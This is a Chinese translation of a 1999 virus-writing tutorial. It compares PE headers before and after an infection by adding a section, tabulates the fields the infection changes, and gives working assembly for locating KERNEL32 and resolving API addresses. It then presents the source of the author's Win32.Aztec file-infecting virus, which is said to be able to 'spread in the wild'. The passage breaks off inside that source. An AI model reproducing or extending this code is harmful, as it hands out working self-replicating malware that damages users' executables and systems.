‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|------‖[...]
|0270H |0170H | Section name : .reloc
|0278H |0178H | Physical Address : 00001600H
|027CH |017CH | Virtual Address : 00005000H
|0280H |0180H | Size of RAW data : 00001600H
|0284H |0184H | Pointer to RAW data : 00001C00H
|0288H |0188H | Pointer to relocations : 00000000H
|028CH |018CH | Pointer to line numbers : 00000000H
|0290H |0190H | Number of Relocations : 0000H
|0292H |0192H | Number of line numbers : 0000H
|0294H |0194H | Characteristics : F0000060H
| | | -Section contains code.
| | | -Section contains initialized data.
| | | -Section is shareable.
| | | -Section is executable.
| | | -Section is readable.
| | | -Section is writeable.
| | |
|_______|______|
那一个正常的文件，没有被感染。下面给出的是同一个文件，但是被我的Aztec(Ring-3例子病毒，看下文)感染了。
---------------------------------------------------------------------------------------------------
-------DOS INFORMATION -------------------------------------------------
Analyzed File: GOAT002.EXE
DOS Reports:
?File Size - 2600H (09728d)
?File Time - 23:20:58 (hh:mm:ss)
?File Date - 22/06/1999 (dd/mm/yy)
?Attributes : Archive
[...]
-------PE Header-------------------------------------------------------
----------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖------|-------‖
|0100H |0000H | PE Header Signature - PE/0/0
|0104H |0004H | The machine for this EXE is Intel 386 (value = 014CH)
|0106H |0006H | Number of sections in the file - 0004H
|0108H |0008H | File was linked at : 23/03/2049
|010CH |000CH | Pointer to Symbol Table : 00000000H
|0110H |0010H | Number of Symbols : 00000000H
|0114H |0014H | Size of the Optional Header : 00E0H
| | |
|0116H |0016H | File Characteristics - 818EH :
| | | -File is executable
| | | -Line numbers stripped from file
| | | -Local symbols stripped from file
| | | -Bytes of machine word are reversed
| | | -32 bit word machine
| | | -Bytes of machine word are reversed
|______|_______|
---------PE Optional Header---------------------------------------
-----------------
‖O_DOS |O_PE ‖(Offset from Dos Header / PE Header
‖-------|-------‖
|0118H |0018H | Magic Value : 010BH
|011AH |001AH | Major Linker Version : 2
|011BH |001BH | Minor Linker Version : 25
| | | Linker Version : 2.25
|011CH |001CH | Size of Code : 00001200H
|0120H |0020H | Size of Initialized Data : 00000600H
|0124H |0024H | Size of Uninitialized Data : 00000000H
|0128H |0028H | Address of Entry Point : 00005200H
|012CH |002CH | Base of Code (.text ofs.) : 00001000H
|0130H |0030H | Base of Data (.bss ofs.) : 00003000H
|0134H |0034H | Image Base : 00400000H
|0138H |0038H | Section Alignment : 00001000H
|013CH |003CH | File Alignment : 00000200H
|0140H |0040H | Major Operating System Version : 1
|0142H |0042H | Minor Operating System Version : 0
|0144H |0044H | Major Image Version : 0
|0146H |0046H | Minor Image Version : 0
|0148H |0048H | Major SubSystem Version : 3
|014AH |004AH | Minor SubSystem Version : 10
|014CH |004CH | Reserved Long : 43545A41H
|0150H |0050H | Size of Image : 00006600H
|0154H |0054H | Size of Headers : 00000400H
|0158H |0058H | File Checksum : 00000000H
|015CH |005CH | SubSystem : 2
| | | -Image runs in the Windows GUI subsystem
|015EH |005EH | DLL Characteristics : 0000H
|0160H |0060H | Size of Stack Reserve : 00100000H
|0164H |0064H | Size of Stack Commit : 00002000H
|0168H |0068H | Size of Heap Reserve : 00100000H
|016CH |006CH | Size of Heap Commit : 00001000H
|0170H |0070H | Loader Flags : 00000000H
|0174H |0074H | Number Directories : 00000010H
|_______|_______|
[...]
----------PE Section Headers---------------------------------------
-----------------
‖O_DOS | O_PE ‖(Offset from Dos Header / PE Header
‖-------|-------‖[...]
|0270H | 0170H | Section name : .reloc
|0278H | 0178H | Physical Address : 00001600H
|027CH | 017CH | Virtual Address : 00005000H
|0280H | 0180H | Size of RAW data : 00001600H
|0284H | 0184H | Pointer to RAW data : 00001C00H
|0288H | 0188H | Pointer to relocations : 00000000H
|028CH | 018CH | Pointer to line numbers : 00000000H
|0290H | 0190H | Number of Relocations : 0000H
|0292H | 0192H | Number of line numbers : 0000H
|0294H | 0194H | Characteristics : F0000060H
| | | -Section contains code.
| | | -Section contains initialized data.
| | | -Section is shareable.
| | | -Section is executable.
| | | -Section is readable.
| | | -Section is writeable.
| | |
|_______|_______|
--------------------------------------------------------------------------------
好了，我希望这已经帮助你更理解在通过增加它的最后一节来感染PE文件的时候，做了些什么。为了避免你在比较这些每一个表时花更多的精力，我给出了一个列表：
==============================================================
| Values to change |Before |After |Location |
==============================================================
|Address Of Entrypoint |00001000h |00005200h |Image File Hdr |
--------------------------------------------------------------
|Reserved1 (inf. mark) |00000000h |43545A41h |Image File Hdr |
--------------------------------------------------------------
|Virtual Size |00001000h |00001600h |Section header |
--------------------------------------------------------------
|Size Of Raw Data |00000200h |00001600h |Section header |
--------------------------------------------------------------
|Characteristics |50000040h |F0000060h |Section header |
--------------------------------------------------------------
实现这个的代码非常简单。对于那些没有看到代码还没有理解的人，可以看看Win32.Aztec，在下一章将详细描述。
【Ring-3，在用户级下编程】
~~~~~~~~~~~~~~~~~~~~~~~~~~
嗯，用户级给了我们所有人很多令人压抑和不方便的限制，这是正确的，这妨碍了我们所崇拜的自由，这种我们在编写DOS病毒时所感 受到的自由。但是，伙计，这就是生活，这就是我们的悲哀，这就是Micro$oft。Btw，这是唯一的(当今)能够完全Win32兼容的病毒的方法，而 且这个环境是未来，正如你必须知道的。首先，让我们看看怎么用一种非常简单的方法来获得KERNEL32的基址(为了Win32兼容性)：
%获得KERNEL32基址的一个简单方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正 如你所知道的，当我们在执行一个应用程序的时候，代码是从KERNEL32 "call"一部分代码的(也就像KERNEL调用我们的代码一 样)。而且，如果你还记得的话，当一个call调用之后，返回的地址是在堆栈里(即，在由ESP所指定的内存地址里的)的。让我们看看关于这个的一个实际 例子：
;---------------从这里开始剪切---------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
.data ; Some data (needed by TASM32/TLINK32)
db ?
.code
start:
mov eax,[esp] ; Now EAX would be BFF8XXXXh (if w9X)
; ie, somewhere inside the API
; CreateProcess :)
ret ; Return to it ;)
end start
;------------到这里为止剪切--------------------------------------------------
相当简单。我们在EAX中得到一个值大约为BFF8XXXX(XXXX是一个不重要的值，这里这么写是 因为不需要精确地知道它，再也不要拿那些无聊的东西来烦我了:))。因为Win32平台通常会对齐到一个页，我们可以搜索任何一个页的开头，而且因为 KERNEL32头就在一个页的开头，我们能够很轻松地检查它。而且当我们找到我现在正在讨论的PE头的时候，我们就知道了KERNEL32的基址。嗯， 作为限制，我们可以以50h页为限。呵呵，不要担心，下面是一些代码:)
;--------从这里开始剪切------------------------------------------------
.586p
.model flat
extrn ExitProcess:PROC
.data
limit equ 5
db 0
;--------------------------------------
; 没有用而且没有意义的数据 :) ;
;--------------------------------------
.code
test:
call delta
delta:
pop ebp
sub ebp,offset delta
mov esi,[esp]
and esi,0FFFF0000h
call GetK32
push 00000000h
call ExitProcess
;-------------------------------------
; 呃，我认为你至少是一个普通ASM程序员, 所以我假定你知道指令的第一块是为了获得
; 地址偏移变化量(特别在这个例子里面不需要，然而，我喜欢使得它就像我们的病毒代码)。
; 第二块是我们所感兴趣的东西。我们把我们的程序开始调用的地址放在ESI中，即由ESP
; 所显示的地址(当然是如果我们在程序装载完后没有碰堆栈的情况下)。第二个指令，那个
; AND，是为了获得我们的代码正在调用的页的开头。我们调用我们的例程，在这之后，我
; 们结束处理:)
;-------------------------------------
GetK32:
__1:
cmp byte ptr [ebp+K32_Limit],00h
jz WeFailed
cmp word ptr [esi],"ZM"
jz CheckPE
__2:
sub esi,10000h
dec byte ptr [ebp+K32_Limit]
jmp __1
;-------------------------------------
; 首先我们检查我们是否已经达到了我们的极限(50页)。在这之后，我们检查是否在页的开
; 头(它应该是)是否为MZ标志，而且如果找到了，我们继续检查PE头。如果没有，我们减
; 去10页(10000h字节)，我们增加限制变量，再次搜索
;-------------------------------------
CheckPE:
mov edi,[esi+3Ch]
add edi,esi
cmp dword ptr [edi],"EP"
jz WeGotK32
jmp __2
WeFailed:
mov esi,0BFF70000h
WeGotK32:
xchg eax,esi
ret
K32_Limit dw limit
;--------------------------------------
; 我们在MZ头开始后的偏移地址3CH处得到值(存着从哪儿开始PE头的RVA)，我们把这个
; 值和页的地址规范化，而且如果从这个偏移地址处的内存地址标志是PE标志，我们就假
; 设已经找到了...而且我们确实是找到了!
;--------------------------------------
end test
;--------到这里为止剪切-----------------------------------------------------
一个建议：我测试了它，而且在Win98下和WinNT4 SP3下面没有给我们任何类型的 问题，然而，我不知道在其它任何地方会发生什么，我建议你使用SEH来避免可能的页错误(和它们相关的蓝屏)。SEH将会在后面介绍。嗨， Lord Julus在他的教程里面所使用的方法(在感染文件里面搜索GetModuleHandleA函数)并不能很好地满足我的需要，无论 如何，我将给出那个我自己版本的代码，在那里我将解释怎么来玩输入函数。例如，它在per-process驻留病毒里面要用到，在这个例程里面有一小点改 变:)
%获取那些令人疯狂的API函数!!!%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如我在介绍那一章所介绍的，Ring-3是用户级的，所以我们只能访问它的有限的权限。例如，我们不能使用端口， 读或写某些的内存区域，等等。当开发Win95(那些再也没有人说的"Win32平台是不可感染"的系统)的时候，微软如果压制住过去所编写的病毒，微软 就确信能够击败我们。在他们的美梦中，他们认为我们不能使用他们的API函数，而且，他们更没想到我们能跳转到Ring-0，但是，这是另外一段历史了。
正如你以前所说的，我们以API函数名作为外部函数，所以import32.lib给了我们函数的地址，而且它已经 汇编了，但是我们在写病毒的时候有一个问题。如果我们hardcode(也就是说我们调用一个API函数的时候给的是一个固定的偏移地址)，最可能发生的 事情是在下一个版本的Win32版本中，那个地址再也不起作用了。你可以看看Bizatch中的一个例子。我们该怎么做呢？好了，我们有一个函数叫做 GetProcAddress,它返回给我们的是我们所需要的API的地址。聪明的你可能已经注意到了GetProcAddress也是一个API，所以 如果我们没有得到那个API还谈什么利用它来搜索其它API呢。正如在生活中我们所遇到的事情一样，我们有许多可能性的东西去做，而且我将提及我认为最好 的两种方法：
1.在输入表中搜索GetProcAddress API函数。
2.当我们感染一个文件的时候，在它的输入函数里寻找GetProcAddress。
因为最早的方法是第一个，猜猜现在我将会解释哪一个呢？:)OK,让我们以理论学习开始，在这之后，一些代码。
如果你看看PE头的格式，我们在偏移地址78h(是PE头，不是文件!)得到输入表。好了，我们需要利用内核的输出 地址。在Window 95/98下，内核通常在偏移地址0BFF70000h处，而Window NT的内核看起来是在 077F00000h处。在Win2K中我们在偏移地址077E00000h处得到它。所以，首先，我们把它的地址保存到寄存器中，我们将用来作为指针。 我强烈建议使用ESI，主要是因为我们可以通过使用LODSD来优化一些东西。好了，我们检查在这个地址处是不是"MZ"(恩反过来为"ZM"，该死的 intel处理器架构)，因为内核是一个库(.DLL)，而库有一个PE头，正如我们以前看PE头的时候，是DOS-兼容的一部分的时候所看到的。在那个 比较之后，让我们检查它是不是PE，所以我们到头的偏移image_base+[3Ch] (=内核的偏移地址＋内核的PE头的3Ch偏移)， 搜索比较"PE/0/0",PE文件的签名。
如果所有都正确，那么让我们继续。我们需要输出表 的RVA，正如你所能看到的，它在PE头的偏移地址78h处。所以我们得到了它。但是，正如你所知道的，RVA(Relative Virtual Address)，正如它的名字所表明的，是和一个OFFSET的相对值，在这种image base为 kernel的情况下，正如我以前所说的，那就是它的地址。就这么简单：仅仅把kernel的偏移加上在输出表(Export Table)中 的RVA即可。好了，我们现在已经在输出表中了:)
让我们看看它的格式：
---------------------------------- <----+00000000h
| Export Flags | Size : 1 DWORD
|----------------------------------|<----+00000004h
| Time/Date stamp | Size : 1 WORD
|----------------------------------|<----+00000006h
| Major version | Size : 1 WORD
|----------------------------------|<----+00000008h
| Minor version | Size : 1 DWORD
|----------------------------------|<----+0000000Ch
| Name RVA | Size : 1 DWORD
|----------------------------------|<----+00000010h
| Number Of Exported Functions | Size : 1 DWORD
|----------------------------------|<----+00000014h
| Number Of Exported Names | Size : 1 DWORD
|----------------------------------|<----+00000018h
| Export Address Table RVA | Size : 1 DWORD
|----------------------------------|<----+0000001Ch
| Export Name Pointers Table RVA | Size : 1 DWORD
|----------------------------------|<----+00000020h
| Export Ordinals RVA | Size : 1 DWORD
|__________________________________|
Total Size : 24h BYTES
对我们来说是最后6个域。在地址表RVA的值中，正如你能想象的是，Name Pointers RVA 和 Ordinals RVA都是和KERNEL32的基址相关的。所以，获得 API地址的第一步是知道这个API的位置，而知道它的最简单的方法是到Name Pointers所指示的偏移地址处去寻找，把它和我们想要 找的API做比较，如果它们完全相同，我们就要计算API的偏移地址了。好了，我们已经到了这一步了，而且我们在计数器中有一个值，因为我们没检查一次 API的名字就加一次。这个计数器，正如你能想象的，将会保存我们已经找到的API名字的个数，而且它们不相等。这个计数器可以是一个字或一个双字，但是 最好不要是一个字节，因为我们需要超过255个API函数:)
说明：我假设你把地址的VA(RVA+kernel image base),Name 和 (序数表)Ordinal tables已经保存到相关的变量中了。
OK，假设我们已经获得了我们想要得到的API的名字，所以，我们得到了它在名字指针表中的计数。接下来可能对你来 说是最复杂的，开始Win32编码。嗯，让我们继续下去。我们得到了计数，而且我们现在要在Ordinal Table(一个dword数组) 中搜索我们想要得到的API的序数。当我们得到了API在数组(在计数器)中的数字，我们仅仅把它乘以2(记住，序数数组是由字组成的，所以，我们必须对 字进行计算...)，而且当然了，把它加上序数表的开始偏移地址。为了继续我已经解释的东西，我们需要由下面公式指向的字：
API's Ordinal location: ( counter * 2 ) + Ordinal Table VA
很简单，是不是啊？下一步(而且是最后一步)是从地址表中获得API的确定地址。我们已经得到了API的序号，对 吗？利用它，我们的生活变得非常容易。我们只有把序号乘以4(因为地址数组是双字形式的而不是字，而一个双字的大小是4)，而且把它加上先前得到的地址表 开始的偏移地址。呵呵，现在，我们得到了API地址的RVA啦。所以我们要把它规范化，加上Kernel的偏移地址，那样就好了。我们得到了它!!!让我 们看看这个的数学公式：
API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase
--------------------------------------------------------------------- So, as we retrieve the position
| EntryPoint | Ordinal | Name | that occupies the string in the
|--------------------|---------------|-------------------------------| Names table, we can know its
| 00005090 | 0001 | AddAtomA | ordinal (each name has an ordi-
|--------------------|---------------|-------------------------------| nal that is in the same position
| 00005100 | 0002 | AddAtomW | than the API name), and knowing
|--------------------|---------------|-------------------------------| the ordinal, we can know its
| 00025540 | 0003 | AddConsoleAliasA | Address, that is, its entrypoint
|--------------------|---------------|-------------------------------| RVA. We normalize it, and voila,
| 00025500 | 0004 | AddConsoleAliasW | you have what you need, the
/////////////////////////////////////////// required API address.
[...]这些表还有更多的入口，但是有那些就足够了...
我希望你已经理解了我解释的东西。我试图尽可能的使它表述简单，如果你不能理解它，不要往下看了，一步 一步地重读它。要有耐心。我肯定你会懂地。嗯，现在你可能需要一些代码了。下面给出我例程，作为一个示例，在我的Iced Earth病毒中用 到了。
;----从这儿开始剪切-----------------------------------------------------------
;
; GetAPI & GetAPIs procedures
; ===========================
;
; 这是我的寻找所有需要的API的函数... 它们被分成了两部分。
; GetAPI函数仅仅获得了我们需要的一个函数, 而GetAPIs函数
; 则搜索病毒所需要的所有API函数。
;
GetAPI proc
;--------------------------------------------------------------------------
; 让我们来看看，这个函数需要和返回的参数如下：
;
;
; 输入： ESI : 指向API名字的指针 (区分大小写)
; 输出： EAX : API 地址
;--------------------------------------------------------------------------
mov edx,esi ; Save ptr to name
@_1: cmp byte ptr [esi],0 ; Null-terminated char?
jz @_2 ; Yeah, we got it.
inc esi ; Nopes, continue searching
jmp @_1 ; bloooopz...
@_2: inc esi ; heh, don't forget this ;)
sub esi,edx ; ESI = API Name size
mov ecx,esi ; ECX = ESI :)
;--------------------------------------------------------------------------
; 好了，我亲爱的朋友们，这很容易理解。我们在ESI中是指向API名字开始
; 的指针，让我们想象一下，我们想要寻找"FindFirstFileA":
;
; FFFA db "FindFirstFileA",0
; ↑ 指针指向这儿
;
; 而且我们需要保存这个指针，并知道了API名的大小，所以
; 我们把指向API名字的初始指针保存到一个我们不用的寄存器中如EDX
; 然后增加在ESI中的指针的值，直到[ESI]=0
;
; FFFA db "FindFirstFileA",0
; ↑ 现在指针指 向这儿了
;
; 也就是说，以NULL结尾:)然后，通过把新指针减去旧指针，我们得
; 到了API名字的大小，搜索引擎需要它。然后我把它保存到ECX中，
; 也是一个我们不会使用的寄存器。
;---------------------------------------------------------------------------
xor eax,eax ; EAX = 0
mov word ptr [ebp+Counter],ax ; Counter set to 0
mov esi,[ebp+kernel] ; Get kernel's PE head. offset
add esi,3Ch
lodsw ; in AX
add eax,[ebp+kernel] ; Normalize it
mov esi,[eax+78h] ; Get Export Table RVA
add esi,[ebp+kernel] ; Ptr to Address Table RVA
add esi,1Ch
;---------------------------------------------------------------------------
; 首先，我们清除EAX，然后为了避免无法预料的错误，使得计数变量为0。
; 如果你还记得PE文件头偏移地址3CH(从映象基址MZ标志开始计数)的作用，
; 你会理解这个的。我们正在请求得到KERNEL32 PE头偏移的开始。因为
; 它是一个RVA，我们把它规范化，那就是我们得到了它的PE头偏移地址。
; 现在我们所要做的是获得输出表(Export Table)的地址(在PE头+78h处)，
; 然后，我们避开这个结构的不想要的数据，直接获得地址表(Address Table)
; 的RVA。
;---------------------------------------------------------------------------
lodsd ; EAX = Address Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+AddressTableVA],eax ; Store it in VA form
lodsd ; EAX = Name Ptrz Table RVA
add eax,[ebp+kernel] ; Normalize
push eax ; mov [ebp+NameTableVA],eax
lodsd ; EAX = Ordinal Table RVA
add eax,[ebp+kernel] ; Normalize
mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form
pop esi ; ESI = Name Ptrz Table VA
;---------------------------------------------------------------------------
; 如果你还记得，在ESI中是指向地址表RVA(Address Table RVA)的指针，所以，
; 我们为了得到那个地址，用了一个LODSD，它把由ESI所指定的双字(DWORD)保
; 存到EAX中。因为它是一个RVA，我们需要对它规范化。
;
; 让我们看看Matt Pietrek关于这个第一个域的描述：
;
; “这个域是一个RVA而且指向一个函数地址数组。这个函数地址是这个模块中
; 每一个输出地址的入口点(RVA)。”
;
;
; 毫无疑问了，我们把它保存到它的变量中了。然后，接下来我们找到的
; 是名字指针表(Name Pointers Table)，Matt Pietrek的描述如下：
;
; “这个域是一个RVA，而且指向一个字符串指针数组。这些字符串是模块
; 的输出函数的名字。”
;
; 但是我没有把它保存到一个变量中，我把它压栈，仅仅是因为我很快就要用到
; 它。最终，我们找到了，下面是Matt Pietrek关于它的描述：
;
; “这个域是一个RVA，而且指向一个字(WORD)数组。这些字是这个模块
; 的所有输出函数的序号”。
;
; 好了，那就是我们所做的事情。
;---------------------------------------------------------------------------
@_3: push esi ; Save ESI for l8r restore
lodsd ; Get value ptr ESI in EAX
add eax,[ebp+kernel] ; Normalize
mov esi,eax ; ESI = VA of API name
mov edi,edx ; EDI = ptr to wanted API
push ecx ; ECX = API size
cld ; Clear direction flag
rep cmpsb ; Compare both API names
pop ecx ; Restore ECX
jz @_4 ; Jump if APIs are 100% equal
pop esi ; Restore ESI
add esi,4 ; And get next value of array
inc word ptr [ebp+Counter] ; Increase counter
jmp @_3 ; Loop again
;---------------------------------------------------------------------------
; 嗨，是不是我放了太多的代码而没有注释？因为我刚做好，但是懂得了这一块代码
; 不能因为解释它而分离开来。我们首先所做的是把ESI(在CMPSB指令执行中将改变)
; 压栈，以备后用。然后，我们获得由ESI(Name Pointerz Table)指向的双字保存到
; 累加器(EAX)中，所有这些通过LODSD指令实现。我们通过加上kernel的基址来规范
; 化它。好了，现在我们在EAX中是指向某一个API名字的指针，但是我们不知道(仍然)
; 是什么API。例如，EAX可以指向诸如"CreateProcessA"，而这个API对我们的病毒来
; 说不感兴趣...为了把那个字符串和我们想要的字符串(现在由EDX指向)，我们有CMPSB。
; 所以，我们准备它的参数:在ESI中，我们使得指针指向现在在Name Pointerz Table中
; 的API的开始，在EDI中，我们使之指向需要的API)。在ECX中我们保存它的大小，
; 然后我们按字节比较。如果所有的字符相等，就设置0标志，然后跳转到获取那个API
; 地址的例程，但是如果它失败了，我们恢复ESI，并把它加上DWORD的大小，为了获取
; 在Name Pointerz Table数组中的下一个值。我们增加计数器的值(非常重要)，然后
; 继续搜索。
;---------------------------------------------------------------------------
@_4: pop esi ; Avoid shit in stack
movzx eax,word ptr [ebp+Counter] ; Get in AX the counter
shl eax,1 ; EAX = AX * 2
add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
xor esi,esi ; Clear ESI
xchg eax,esi ; EAX = 0, ESI = ptr to Ord
lodsw ; Get Ordinal in AX
shl eax,2 ; EAX = AX * 4
add eax,dword ptr [ebp+AddressTableVA] ; Normalize
mov esi,eax ; ESI = ptr to Address RVA
lodsd ; EAX = Address RVA
add eax,[ebp+kernel] ; Normalize and all is done.
ret
;---------------------------------------------------------------------------
; Pfff, 又一个巨大的代码块，而且看起来很难理解，对吗?呵呵，不要害怕，我将要
; 注释它:)
; 呃，pop指令是为了清除堆栈，我们把计数值(因为它是一个WORD)放置到EAX的低位
; 中，并把这个寄存器的高位清0。我们把它乘以2，因为我们只得到了它的数字，
; 而且我们要搜索的数组是一个WORD数组。现在把它加上指向我们要搜索的数组开始的
; 指针，而在EAX中是我们想要的API的指针的序号。所以我们把EAX保存到ESI中为了使
; 用那个指针来获取它指向的值，也就是说，序号保存到EAX中，用简单的LODSW。
; 嗨，我们得到了序号，但是我们想要的是API代码的入口(EntryPoint)，所以，我们
; 把序数(保存了想要的API在地址表中的入口点位置)乘上4，也就是说DWORD的大小，
; 然后我们得到了一个RVA值，和Address Table RVA 相关，所以我们规范化，那么现在
; 我们在EAX中得到的是指向地址表中的API的入口点的指针。我们把EAX赋给ESI，在EAX
; 中得到了指向的值。这样我们在EAX中得到了需要的API的入口RVA的值。嗨,现在我们
; 必须要做的是把那个地址和KERNEL32的基址规范化，瞧，做好了，我们在EAX中
; 得到了API的真正地址!!!;)
;---------------------------------------------------------------------------
GetAPI endp
;---------------------------------------------------------------------------
;---------------------------------------------------------------------------
GetAPIs proc
;---------------------------------------------------------------------------
; Ok, 这是通过使用以前的函数来获得所有API的代码，它的参数为:
;
; 输入: ESI : 指向想要得到的第一个API名字ASCII码的首地址
; EDI : 指向将要保存的想要得到第一个API的变量
; 输出: 无。
;
; 好了，我假设你想要获得的所有值的结构如下：
;
; ESI 指向 → db "FindFirstFileA",0
; db "FindNextFileA",0
; db "CloseHandle",0
; [...]
; db 0BBh ; 标志着这个数组的结束
;
; EDI 指向 → dd 00000000h ; FFFA 的将来的地址
; dd 00000000h ; FNFA 的将来的地址
; dd 00000000h ; CH 的将来的地址
; [...]
; 我希望你足够聪明，能理解它。
;---------------------------------------------------------------------------
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
;---------------------------------------------------------------------------
; 我们把在这个函数中处理的值压栈为了避免它们改变，并调用GetAPI函数。
; 我们假设现在ESI是一个指向想要的API名字的指针，EDI是指向要处理API名字的变量
; 的指针。因为函数在EAX中返回给我们API的偏移地址，我们通过使用STOSD把它保存到
; 由EDI指向的相关变量中。
;---------------------------------------------------------------------------
@@2: cmp byte ptr [esi],0
jz @@3
inc esi
jmp @@2
@@3: cmp byte ptr [esi+1],0BBh
jz @@4
inc esi
jmp @@1
@@4: ret
GetAPIs endp
;---------------------------------------------------------------------------
; 可以更优化，我知道，但是，为了更好为我的解释服务。我们首先所做的是到达我们
; 以前请求的地址的字符串的尾部，现在它指向下一个API。但是我们想要知道它是否
; 是最后一个API，所以我们检查我们的标志，字节0BBh(猜猜为什么是0BBh?)。如果它
; 是，我们就已经得到了所有需要的API，而如果不是，我们继续我们的搜索。
;---------------------------------------------------------------------------
;------到这儿为止剪切-------------------------------------------------------
呵呵，我尽可能的使得这些过程简单，而且我注释了很多，你将会不通过复制就可以理解了。而且如果你
你 复制也不是我的问题...呵呵，我没有不允许你复制它:)但是，现在的问题是我们该搜索什么API呢?这主要依赖于在进行PE操作之前方式。我将给你演示 一个直接行为(即运行期)版本的一个病毒，它使用了文件映射计数(更容易操作和更快地感染)，我将会列出你能使用地API函数。
%一个病毒示例%
~~~~~~~~~~~~~~
不要认为我疯了，我将在这里放一个病毒的代码仅仅是为了避免烦人的解释所有API的东西，而且还可以看看它们的作 用:)好了，下面你得到的是我的最近的创造。我花了一个下午来完成它：我把它基于Win95.Iced Earth，但是没有bug和特殊功 能。享受这个Win32.Aztec!(Yeah, Win32!!!)。
;----从这儿开始剪切-----------------------------------------------------------
; [Win32.Aztec v1.01] - Iced Earth的Bug修复版本
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; 病毒名 : Aztec v1.01
; 病毒作者 : Billy Belcebu/iKX
; 国籍 : Spain(西班牙)
; 平台 : Win32
; 目标 : PE 文件
; 编译 : TASM 5.0 和 TLINK 5.0 用
; tasm32 /ml /m3 aztec,,;
; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
; pewrsec aztec.exe
; 说明 : 现在所有东西都是特别的了。只是Iced Earth病毒的bug修复，并移除了一些特殊功能
; 这是一个学习Win32病毒的真正病毒。
; 为什么'Aztec'? : 为什么叫这个名字呢?许多原因:
; ?如果有一个 Inca 病毒和一个 Maya 病毒... ;)
; ?我在 Mexico 生活过6个月
; ?I hate the fascist way that Hernan Cortes used for steal
; their territory to the Aztecs
; ?I like the kind of mithology they had ;)
; ?我的声卡是一个 Aztec的 :)
; ? 我爱 Salma Hayek! :)~
; ?KidChaos 是我的一个朋友 :)
; 问候 : 这次只向所有在EZLN 和 MRTA的人问候。
; 祝所有人好运，和... 继续战斗!
;
; (c) 1999 Billy Belcebu/iKX
.386p ; 需要386+ =)
.model flat ; 32 位寄存器, 没有段.
jumps ; 为了避免跳 出范围
extrn MessageBoxA:PROC ; 第一次产生的时候输入的API函数:)
extrn ExitProcess:PROC ;
; 病毒的一些有用的equ
virus_size equ (offset virus_end-offset virus_start)
heap_size equ (offset heap_end-offset heap_start)
total_size equ virus_size+heap_size
shit_size equ (offset delta-offset aztec)
; 仅仅是为第一次产生的时候编码的, 不要担心 ;)
kernel_ equ 0BFF70000h
kernel_wNT equ 077F00000h
.data
szTitle db "[Win32.Aztec v1.01]",0
szMessage db "Aztec is a bugfixed version of my Iced Earth",10
db "virus, with some optimizations and with some",10
db "'special' features removed. Anyway, it will",10
db "be able to spread in the wild succefully :)",10,10
db "(c) 1999 by Billy Belcebu/iKX",0
;---------------------------------------------------------------------------
; 所有这些都是狗屎：有一些宏可以使得这些代码更好看，而且有一些是为
; 第一次产生时用的，等等。
;---------------------------------------------------------------------------
.code
virus_start label byte
aztec:
pushad ; Push 所有寄存器
pushfd ; Push FLAG 寄存器
call delta ; 最难理解的代码 ;)
delta: pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_size ; Obtain the Image Base on
sub eax,00001000h ; the fly
NewEIP equ $-4
mov dword ptr [ebp+ModBase],eax
;---------------------------------------------------------------------------
; Ok. 首先，我把所有的寄存器和所有的标志都压栈了(不是因为需要这么做，仅仅是
; 因为我一直喜欢这么做)。然后，我所做的都是非常重要的。是的!它是delta offset!
; 我们必须得到它因为原因你必须知道：我们不知道我们是在内存的哪里执行代码，所
; 以通过这个我们就能很容易地知道它...我不会告诉你更多关于delta offset的东西了，
; 因为我肯定你已经从DOS编码就知道了;)接下来是获得当前进程的基址(Image Base),
; 这需要返回控制权给主体(将会在以后做)。首先我们减去在delta标志和aztec标志
; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5))的字节，然后我们减去当前的EIP
; (在感染的时候补丁)，也就是说我们得到了当前的基址(Image Base)。
;---------------------------------------------------------------------------
mov esi,[esp+24h] ; 获得程序返回地址
and esi,0FFFF0000h ; 和10页对其
mov ecx, 5 ; 50 页 (10组)
call GetK32 ; 调用它
mov dword ptr [ebp+kernel],eax ; EAX 必须是 K32 的基址
;---------------------------------------------------------------------------
; 首先，我们从调用的进程(它在，可能为CreateProcess API函数)中得到的地址放到
; ESI中，它最初是由ESP所指向的地址，但是当我们使用堆栈压了24个字节(20被PUSHAD,
; 其它的为PUSHFD)，我们不得不修正它。然后我们使它按10页对齐，使ESI的低位为0。
; 在这之后，我们设置GetK32函数的其它参数，ECX，保存着要搜索的10页的最大组数，
; 为5(也就是说5*10=50页)，然后我们调用函数。当它返回给我们正确的KERNEL32的
; 基址之后，我们把它保存起来。
;---------------------------------------------------------------------------
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs ; 找到所有的API
call PrepareInfection
call InfectItAll
;---------------------------------------------------------------------------
; 首先，我们设置GetAPIs函数的参数，就是在EDI中是一个指针，这个指针指向将要
; 保存API地址的DWORD数组，在ESI是所有要搜索的API函数的ASCII名字。
;---------------------------------------------------------------------------
xchg ebp, ecx ; 是不是第一次产生?
jecxz fakehost
popfd ; 恢复所有的标志
popad ; 恢复所有的寄存器
mov eax,12345678h
org $-4
OldEIP dd 00001000h
add eax,12345678h
org $-4
ModBase dd 00400000h
jmp eax
;---------------------------------------------------------------------------
; 首先，我们看看我们是不是在第一次产生病毒，通过检测EBP的值是否为0。如果是，
; 我们跳转到第一次产生的地方。但是，如果它不是，我们先从堆栈中恢复标志寄存器，
; 接下来是所有的寄存器。然后我们的指令是给EAX赋感染后的程序旧入口地址(在感染
; 的时候补丁)，然后我们把它加上当前进程(在运行期补丁)的基址，我跳到它那里。
;---------------------------------------------------------------------------
PrepareInfection:
lea edi,[ebp+WindowsDir] ; 指向第一个目录
push 7Fh ; 把缓存的大 小压栈
push edi ; 把缓存的地址压栈
call [ebp+_GetWindowsDirectoryA] ; 获取windows目录
add edi,7Fh ; 指向第二个目录
push 7Fh ; 把缓存的大小压栈
push edi ; 把缓存的地址压栈
